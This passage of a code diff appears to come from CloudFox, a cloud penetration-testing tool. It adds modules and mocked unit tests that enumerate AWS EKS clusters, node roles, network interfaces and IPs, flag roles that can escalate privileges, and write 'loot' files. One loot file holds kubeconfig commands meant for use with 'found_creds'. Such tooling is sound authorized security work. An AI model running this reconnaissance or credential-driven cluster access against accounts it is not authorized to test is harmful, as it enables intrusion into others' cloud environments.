var nics []ec2types.NetworkInterface
err := json.Unmarshal(readTestFile(DESCRIBE_NETWORK_INTEFACES_TEST_FILE), &c.describeNetworkInterfaces)
if err != nil {
log.Fatalf("can't unmarshall file %s", DESCRIBE_NETWORK_INTEFACES_TEST_FILE)
}
for _, mockedNic := range c.describeNetworkInterfaces.NetworkInterfaces {
for _, inputNicID := range input.NetworkInterfaceIds {
if mockedNic.NetworkInterfaceID == inputNicID {
nics = append(nics, ec2types.NetworkInterface{
Association: &ec2types.NetworkInterfaceAssociation{
PublicIp: aws.String(mockedNic.Association.PublicIP),
},
NetworkInterfaceId: aws.String(mockedNic.NetworkInterfaceID)})
}
}
}
return &ec2.DescribeNetworkInterfacesOutput{NetworkInterfaces: nics}, nil
}
type mockedDescribeTaskDefinitionInterface struct {
}
func (c *mockedDescribeTaskDefinitionInterface) DescribeTaskDefinition(ctx context.Context, input *ecs.DescribeTaskDefinitionInput, f ...func(o *ecs.Options)) (*ecs.DescribeTaskDefinitionOutput, error) {
testTaskDefinition := ecsTypes.TaskDefinition{}
testTaskDefinition.TaskRoleArn = aws.String("test123")
return &ecs.DescribeTaskDefinitionOutput{TaskDefinition: &testTaskDefinition}, nil
}
func TestECSTasks(t *testing.T) {
subtests := []struct {
name string
outputDirectory string
verbosity int
testModule ECSTasksModule
expectedResult []MappedECSTask
}{
{
name: "test1",
outputDirectory: ".",
verbosity: 2,
testModule: ECSTasksModule{
AWSProfile: "default",
AWSRegions: []string{"us-east-1", "us-west-1"},
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests")},
SkipAdminCheck: true,
Goroutines: 30,
DescribeNetworkInterfacesClient: &mockedDescribeNetworkInterfacesClient{},
DescribeTasksClient: &mockedDescribeTasksClient{},
ListTasksClient: &mockedListTasksClient{},
ListClustersClient: &mockedListclustersClient{},
DescribeTaskDefinitionClient: &mockedDescribeTaskDefinitionInterface{},
//IAMSimulatePrincipalPolicyClient: &mockedDescribeTaskDefinitionsClient{},
},
expectedResult: []MappedECSTask{{
Cluster: "MyCluster",
ID: "74de0355a10a4f979ac495c14EXAMPLE",
ExternalIP: "203.0.113.12",
Role: "test123",
}},
},
}
internal.MockFileSystem(true)
for _, subtest := range subtests {
t.Run(subtest.name, func(t *testing.T) {
subtest.testModule.ECSTasks(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
for index, expectedTask := range subtest.expectedResult {
if expectedTask.Cluster != subtest.testModule.MappedECSTasks[index].Cluster {
log.Fatal("Cluster name does not match expected value")
}
}
})
}
}
+395
View File
@@ -0,0 +1,395 @@
package aws
import (
"fmt"
"os"
"path/filepath"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type EKSModule struct {
// General configuration data
// These interfaces are used for unit testing
EKSClient sdk.EKSClientInterface
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
SkipAdminCheck bool
WrapTable bool
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
// Main module data
Clusters []Cluster
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type Cluster struct {
AWSService string
Region string
Name string
Endpoint string
Public string
OIDC string
NodeGroup string
Role string
Admin string
CanPrivEsc string
}
func (m *EKSModule) EKS(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "eks"
localAdminMap := make(map[string]bool)
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating EKS clusters for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
// if m.pmapperError != nil {
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// } else {
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan Cluster)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
// Perform role analysis
if m.pmapperError == nil {
for i := range m.Clusters {
m.Clusters[i].Admin, m.Clusters[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Clusters[i].Role)
}
} else {
for i := range m.Clusters {
m.Clusters[i].Admin, m.Clusters[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Clusters[i].Role, m.iamSimClient, localAdminMap)
}
}
// add - if struct is not empty do this. otherwise, dont write anything.
if m.pmapperError == nil {
m.output.Headers = []string{
"Service",
"Region",
"Name",
//"Endpoint",
"Public",
//"OIDC",
"NodeGroup",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
} else {
m.output.Headers = []string{
"Service",
"Region",
"Name",
//"Endpoint",
"Public",
//"OIDC",
"NodeGroup",
"Role",
"IsAdminRole?",
//"CanPrivEscToAdmin?",
}
}
// Table rows
for i := range m.Clusters {
if m.pmapperError == nil {
m.output.Body = append(
m.output.Body,
[]string{
m.Clusters[i].AWSService,
m.Clusters[i].Region,
m.Clusters[i].Name,
//m.Clusters[i].Endpoint,
m.Clusters[i].Public,
//m.Clusters[i].OIDC,
m.Clusters[i].NodeGroup,
m.Clusters[i].Role,
m.Clusters[i].Admin,
m.Clusters[i].CanPrivEsc,
},
)
} else {
m.output.Body = append(
m.output.Body,
[]string{
m.Clusters[i].AWSService,
m.Clusters[i].Region,
m.Clusters[i].Name,
//m.Clusters[i].Endpoint,
m.Clusters[i].Public,
//m.Clusters[i].OIDC,
m.Clusters[i].NodeGroup,
m.Clusters[i].Role,
m.Clusters[i].Admin,
//m.Clusters[i].CanPrivEsc,
},
)
}
}
var seen []string
for _, cluster := range m.Clusters {
if !internal.Contains(cluster.Name, seen) {
seen = append(seen, cluster.Name)
}
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %d clusters with a total of %d node groups found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(seen), len(m.output.Body))
} else {
fmt.Printf("[%s][%s] No clusters found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
}
func (m *EKSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Cluster) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("eks", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getEKSRecordsPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *EKSModule) Receiver(receiver chan Cluster, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Clusters = append(m.Clusters, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *EKSModule) writeLoot(outputDirectory string, verbosity int) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
pullFile := filepath.Join(path, "eks-kubeconfig-commands.txt")
var out string
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the repositories.")
out = out + fmt.Sprintln("# E.g., export profile=found_creds")
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("")
var seen []string
for _, cluster := range m.Clusters {
if !internal.Contains(cluster.Name, seen) {
out = out + fmt.Sprintf("aws --profile $profile --region %s eks update-kubeconfig --name %s\n", cluster.Region, cluster.Name)
seen = append(seen, cluster.Name)
}
}
err = os.WriteFile(pullFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to authenticate to EKS and set up your kubeconfig"))
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Note: Just because you have the eks:updatekubeconfig permission, this does not"))
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green(" mean your IAM user has permissions in the cluster."))
fmt.Print(out)
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), pullFile)
}
func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Cluster) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
var clusters []string
clusters, err := sdk.CachedEKSListClusters(m.EKSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, clusterName := range clusters {
var role string
var oidc string = ""
var publicEndpoint = ""
clusterDetails, err := sdk.CachedEKSDescribeCluster(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
//nodeGroups = append(nodeGroups, DescribeCluster.Cluster.)
endpoint := aws.ToString(clusterDetails.Endpoint)
if clusterDetails.Identity != nil && clusterDetails.Identity.Oidc != nil {
oidc = aws.ToString(clusterDetails.Identity.Oidc.Issuer)
}
if clusterDetails.ResourcesVpcConfig != nil {
publicEndpoint = strconv.FormatBool(clusterDetails.ResourcesVpcConfig.EndpointPublicAccess)
}
// if DescribeCluster.Cluster.ResourcesVpcConfig.PublicAccessCidrs[0] == "0.0.0.0/0" {
// publicCIDRs := "0.0.0.0/0"
// } else {
// publicCIDRs := "specific IPs"
// }
ListNodeGroups, err := sdk.CachedEKSListNodeGroups(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, r)
if len(ListNodeGroups) > 0 {
for _, nodeGroup := range ListNodeGroups {
nodeGroupDetails, err := sdk.CachedEKSDescribeNodeGroup(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, nodeGroup, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
role = aws.ToString(nodeGroupDetails.NodeRole)
dataReceiver <- Cluster{
AWSService: "EKS",
Name: clusterName,
Region: r,
Endpoint: endpoint,
Public: publicEndpoint,
OIDC: oidc,
NodeGroup: nodeGroup,
Role: role,
Admin: "",
CanPrivEsc: "",
}
}
} else {
role = aws.ToString(clusterDetails.RoleArn)
dataReceiver <- Cluster{
AWSService: "EKS",
Name: clusterName,
Region: r,
Endpoint: endpoint,
Public: publicEndpoint,
OIDC: oidc,
NodeGroup: "N/A",
Role: role,
Admin: "",
CanPrivEsc: "",
}
}
}
}
+128
View File
@@ -0,0 +1,128 @@
package aws
import (
"context"
"log"
"testing"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/eks"
"github.com/aws/aws-sdk-go-v2/service/eks/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
)
type MockedEKSClientInterface struct {
}
func (m *MockedEKSClientInterface) ListClusters(ctx context.Context, params *eks.ListClustersInput, optFns ...func(*eks.Options)) (*eks.ListClustersOutput, error) {
testClusters := []string{}
testClusters = append(testClusters, "test1")
testListClustersOutput := &eks.ListClustersOutput{
Clusters: testClusters,
}
return testListClustersOutput, nil
}
func (m *MockedEKSClientInterface) DescribeCluster(context.Context, *eks.DescribeClusterInput, ...func(*eks.Options)) (*eks.DescribeClusterOutput, error) {
testIdentity := types.Identity{
Oidc: &types.OIDC{
Issuer: aws.String("abc123"),
},
}
testRVPC := types.VpcConfigResponse{
EndpointPublicAccess: true,
}
testCluster := types.Cluster{
Identity: &testIdentity,
Endpoint: aws.String("http://endpoint.com"),
ResourcesVpcConfig: &testRVPC,
}
testDescribeClusterOutput := &eks.DescribeClusterOutput{
Cluster: &testCluster,
}
return testDescribeClusterOutput, nil
}
func (m *MockedEKSClientInterface) ListNodegroups(ctx context.Context, params *eks.ListNodegroupsInput, optFns ...func(*eks.Options)) (*eks.ListNodegroupsOutput, error) {
testNodegroups := []string{}
testNodegroups = append(testNodegroups, "test1")
testListNodegroupsOutput := &eks.ListNodegroupsOutput{
Nodegroups: testNodegroups,
}
return testListNodegroupsOutput, nil
}
func (m *MockedEKSClientInterface) DescribeNodegroup(context.Context, *eks.DescribeNodegroupInput, ...func(*eks.Options)) (*eks.DescribeNodegroupOutput, error) {
testNodegroup := types.Nodegroup{}
testNodegroup.NodeRole = aws.String("roleABC")
testDescribeNodegroupOutput := &eks.DescribeNodegroupOutput{
Nodegroup: &testNodegroup,
}
return testDescribeNodegroupOutput, nil
}
func TestEks(t *testing.T) {
subtests := []struct {
name string
outputDirectory string
verbosity int
testModule EKSModule
expectedResult []Cluster
}{
{
name: "test1",
outputDirectory: ".",
verbosity: 2,
testModule: EKSModule{
EKSClient: &MockedEKSClientInterface{},
//IAMSimulatePrincipalPolicyClient: iam.SimulatePrincipalPolicyAPIClient,
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
OutputFormat: "table",
AWSProfile: "test",
Goroutines: 30,
AWSRegions: AWSRegions,
SkipAdminCheck: true,
},
expectedResult: []Cluster{{
Name: "test1",
Endpoint: "http://endpoint.com",
NodeGroup: "test1",
OIDC: "abc123",
Public: "true",
}},
},
}
internal.MockFileSystem(true)
for _, subtest := range subtests {
t.Run(subtest.name, func(t *testing.T) {
subtest.testModule.EKS(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
for index, expectedCluster := range subtest.expectedResult {
if expectedCluster.Name != subtest.testModule.Clusters[index].Name {
log.Fatal("Cluster name does not match expected value")
}
if expectedCluster.Endpoint != subtest.testModule.Clusters[index].Endpoint {
log.Fatal("Cluster endpoint does not match expected value")
}
if expectedCluster.OIDC != subtest.testModule.Clusters[index].OIDC {
log.Fatal("Cluster OIDC does not match expected value")
}
if expectedCluster.Public != subtest.testModule.Clusters[index].Public {
log.Fatal("Cluster public does not match expected value")
}
if expectedCluster.NodeGroup != subtest.testModule.Clusters[index].NodeGroup {
log.Fatal("Cluster NodeGroup does not match expected value")
}
}
})
}
}
+276
View File
@@ -0,0 +1,276 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ec2"
"github.com/aws/aws-sdk-go-v2/service/ec2/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type ElasticNetworkInterfacesModule struct {
//EC2Client *ec2.Client
DescribeNetworkInterfacesClient ec2.DescribeNetworkInterfacesAPIClient
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
AWSProfile string
WrapTable bool
MappedENIs []MappedENI
CommandCounter internal.CommandCounter
output internal.OutputData2
modLog *logrus.Entry
}
type MappedENI struct {
ID string
Type string
ExternalIP string
PrivateIP string
VPCID string
AttachedInstance string
Description string
}
func (m *ElasticNetworkInterfacesModule) ElasticNetworkInterfaces(outputFormat string, outputDirectory string, verbosity int) {
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "elastic-network-interfaces"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating elastic network interfaces in all regions for account %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
spinnerDone := make(chan bool)
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
dataReceiver := make(chan MappedENI)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, dataReceiver)
}
wg.Wait()
//time.Sleep(time.Second * 2)
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
m.printENIsData(outputFormat, outputDirectory, dataReceiver, verbosity)
}
func (m *ElasticNetworkInterfacesModule) Receiver(receiver chan MappedENI, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.MappedENIs = append(m.MappedENIs, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *ElasticNetworkInterfacesModule) printENIsData(outputFormat string, outputDirectory string, dataReceiver chan MappedENI, verbosity int) {
m.output.Headers = []string{
"ID",
"Type",
"External IP",
"Internal IP",
"VPC ID",
"Attached Instance",
"Description",
}
for _, eni := range m.MappedENIs {
m.output.Body = append(
m.output.Body,
[]string{
eni.ID,
eni.Type,
eni.ExternalIP,
eni.PrivateIP,
eni.VPCID,
eni.AttachedInstance,
eni.Description,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName)
fmt.Printf("[%s][%s] %s elastic network interfaces found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No elastic network interfaces found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
privateIPsFilename := filepath.Join(path, "elastic-network-interfaces-PrivateIPs.txt")
publicIPsFilename := filepath.Join(path, "elastic-network-interfaces-PublicIPs.txt")
var publicIPs string
var privateIPs string
for _, eni := range m.MappedENIs {
if eni.ExternalIP != "NoExternalIP" {
publicIPs = publicIPs + fmt.Sprintln(eni.ExternalIP)
}
if eni.PrivateIP != "" {
privateIPs = privateIPs + fmt.Sprintln(eni.PrivateIP)
}
}
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
err = os.WriteFile(publicIPsFilename, []byte(publicIPs), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), publicIPsFilename)
}
func (m *ElasticNetworkInterfacesModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedENI) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("ec2", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.getDescribeNetworkInterfaces(r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
}
}
func (m *ElasticNetworkInterfacesModule) getDescribeNetworkInterfaces(region string, dataReceiver chan MappedENI) {
var PaginationControl *string
for {
DescribeNetworkInterfaces, err := m.DescribeNetworkInterfacesClient.DescribeNetworkInterfaces(
context.TODO(),
&(ec2.DescribeNetworkInterfacesInput{
NextToken: PaginationControl,
}),
func(o *ec2.Options) {
o.Region = region
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, eni := range DescribeNetworkInterfaces.NetworkInterfaces {
status := string(eni.Status)
if status == "available" {
continue // unused ENI
}
mappedENI := MappedENI{
ID: aws.ToString(eni.NetworkInterfaceId),
Type: string(eni.InterfaceType),
ExternalIP: getPublicIPOfElasticNetworkInterface(eni),
PrivateIP: aws.ToString(eni.PrivateIpAddress),
VPCID: aws.ToString(eni.VpcId),
AttachedInstance: getAttachmentInstanceOfElasticNetworkInterface(eni),
Description: aws.ToString(eni.Description),
}
dataReceiver <- mappedENI
}
if DescribeNetworkInterfaces.NextToken != nil {
PaginationControl = DescribeNetworkInterfaces.NextToken
} else {
PaginationControl = nil
break
}
}
}
func getPublicIPOfElasticNetworkInterface(elasticNetworkInterface types.NetworkInterface) string {
if elasticNetworkInterface.Association != nil {
return aws.ToString(elasticNetworkInterface.Association.PublicIp)
}
return "NoExternalIP"
}
func getAttachmentInstanceOfElasticNetworkInterface(elasticNetworkInterface types.NetworkInterface) string {
if elasticNetworkInterface.Attachment == nil {
return ""
}
return aws.ToString(elasticNetworkInterface.Attachment.InstanceId)
}
+48
View File
@@ -0,0 +1,48 @@
package aws
import (
"context"
"encoding/json"
"log"
"testing"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ec2"
ec2types "github.com/aws/aws-sdk-go-v2/service/ec2/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
)
type mockedDescribeNetworkInterfacesClient2 struct {
describeNetworkInterfaces DescribeNetworkInterfaces
}
func (c *mockedDescribeNetworkInterfacesClient2) DescribeNetworkInterfaces(ctx context.Context, input *ec2.DescribeNetworkInterfacesInput, f ...func(o *ec2.Options)) (*ec2.DescribeNetworkInterfacesOutput, error) {
var nics []ec2types.NetworkInterface
err := json.Unmarshal(readTestFile(DESCRIBE_NETWORK_INTEFACES_TEST_FILE), &c.describeNetworkInterfaces)
if err != nil {
log.Fatalf("can't unmarshall file %s", DESCRIBE_NETWORK_INTEFACES_TEST_FILE)
}
for _, mockednic := range c.describeNetworkInterfaces.NetworkInterfaces {
nics = append(nics, ec2types.NetworkInterface{
Association: &ec2types.NetworkInterfaceAssociation{
PublicIp: aws.String(mockednic.Association.PublicIP),
},
NetworkInterfaceId: aws.String(mockednic.NetworkInterfaceID),
PrivateIpAddress: aws.String(mockednic.PrivateIPAddress),
VpcId: aws.String(mockednic.VpcID),
Attachment: &ec2types.NetworkInterfaceAttachment{InstanceId: aws.String(mockednic.Attachment.InstanceID)},
Description: aws.String(mockednic.Description),
})
}
return &ec2.DescribeNetworkInterfacesOutput{NetworkInterfaces: nics}, nil
}
func TestElasticNetworkInterfaces(t *testing.T) {
m := ElasticNetworkInterfacesModule{
AWSProfile: "default",
AWSRegions: []string{"us-east-1", "us-west-1"},
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests")},
DescribeNetworkInterfacesClient: &mockedDescribeNetworkInterfacesClient2{},
}
m.ElasticNetworkInterfaces("table", ".", 3)
}
+975 -772
View File
File diff suppressed because it is too large. Load diff
+176 -147
View File
@@ -8,8 +8,8 @@ import (
"strconv"
"sync"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/apprunner"
"github.com/aws/aws-sdk-go-v2/service/ecs"
@@ -19,6 +19,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/lightsail"
"github.com/aws/aws-sdk-go-v2/service/sagemaker"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
@@ -38,6 +39,7 @@ type EnvsModule struct {
AWSProfile string
OutputFormat string
Goroutines int
WrapTable bool
// Service Clients
ECSClient *ecs.Client
@@ -48,11 +50,11 @@ type EnvsModule struct {
// Main module data
EnvironmentVariables []EnvironmentVariable
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
modLog *logrus.Entry
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
}
type EnvironmentVariable struct {
@@ -68,15 +70,15 @@ func (m *EnvsModule) PrintEnvs(outputFormat string, outputDirectory string, verb
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "env-vars"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s] Enumerating environment variables in all regions for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s] Supported Services: App Runner, Elastic Container Service, Lambda, Lightsail Containers, Sagemaker \n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] Enumerating environment variables in all regions for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Supported Services: App Runner, Elastic Container Service, Lambda, Lightsail Containers, Sagemaker \n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
@@ -84,13 +86,15 @@ func (m *EnvsModule) PrintEnvs(outputFormat string, outputDirectory string, verb
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go console.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan EnvironmentVariable)
